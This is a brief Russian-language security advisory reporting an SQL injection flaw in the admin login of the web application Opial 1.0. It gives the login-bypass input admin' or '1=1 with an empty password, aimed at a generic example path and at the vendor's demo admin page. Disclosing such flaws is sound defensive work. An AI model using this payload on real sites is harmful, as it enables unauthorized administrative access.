Программа: Opial 1.0
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.
Пример:
http://www.site.com/patch/admin/
User Name : admin' or '1=1
Password : пустой
Демонстрация:
http://www.opial.com/demo/admin/
User Name : admin' or '1=1
Password :
